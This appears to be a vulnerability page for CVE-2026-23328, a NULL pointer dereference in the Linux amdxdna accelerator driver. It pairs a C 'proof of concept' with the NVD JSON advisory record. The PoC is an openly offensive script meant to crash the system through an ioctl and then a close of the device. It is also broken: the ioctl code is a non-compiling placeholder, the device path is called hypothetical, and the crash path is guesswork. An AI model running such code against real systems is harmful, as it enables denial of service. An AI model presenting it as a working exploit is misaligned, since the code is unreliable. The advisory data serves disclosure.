CVE-2026-23328

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Conceptual Proof of Concept for CVE-2026-23328 // This code attempts to trigger the NULL pointer dereference in amdxdna. #define DEVICE_PATH "/dev/accel/amdxdna" // Hypothetical device node int main() { int fd; printf("[+] Attempting to open %s...\n", DEVICE_PATH); // Open the vulnerable device driver fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Triggering firmware error path...\n"); // Send malicious IOCTL or write operation to trigger error in aie2_send_mgmt_msg_wait // Note: Actual command codes depend on specific driver implementation. unsigned long trigger_cmd = 0x MAGIC_TRIGGER; char buf[64] = {0}; if (ioctl(fd, trigger_cmd, buf) < 0) { // Error expected here to set mgmt_chann to NULL printf("[+] IOCTL failed (mgmt_chann likely set to NULL)\n"); } // Trigger hardware stop routine which accesses the NULL pointer printf("[+] Closing device to invoke aie2_hw_stop...\n"); close(fd); printf("[+] If successful, system should crash now.\n"); return 0; }

{"cve": {"id": "CVE-2026-23328", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:29.977", "lastModified": "2026-04-23T21:11:04.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naccel/amdxdna: Fix NULL pointer dereference of mgmt_chann\n\nmgmt_chann may be set to NULL if the firmware returns an unexpected\nerror in aie2_send_mgmt_msg_wait(). This can later lead to a NULL\npointer dereference in aie2_hw_stop().\n\nFix this by introducing a dedicated helper to destroy mgmt_chann\nand by adding proper NULL checks before accessing it."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\naccel/amdxdna: Corrección de la desreferencia de puntero NULL de mgmt_chann\n\nmgmt_chann puede establecerse en NULL si el firmware devuelve un error inesperado en aie2_send_mgmt_msg_wait(). Esto puede llevar posteriormente a una desreferencia de puntero NULL en aie2_hw_stop().\n\nSe soluciona esto introduciendo una función auxiliar dedicada para destruir mgmt_chann y añadiendo comprobaciones de NULL adecuadas antes de acceder a él."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.14.1", "versionEndExcluding": "6.19.7", "matchCriteriaId": "8411F259-2329-41C5-AD6F-0A4DF344AD10"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.14:-:*:*:*:*:*:*", "matchCriteriaId": "7DE421BA-0600-4401-A175-73CAB6A6FB4E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/032ca7a9059c4ba6c329e0f1b442dab54dd9c3e5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6270ee26e1edd862ea17e3eba148ca8fb2c99dc9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}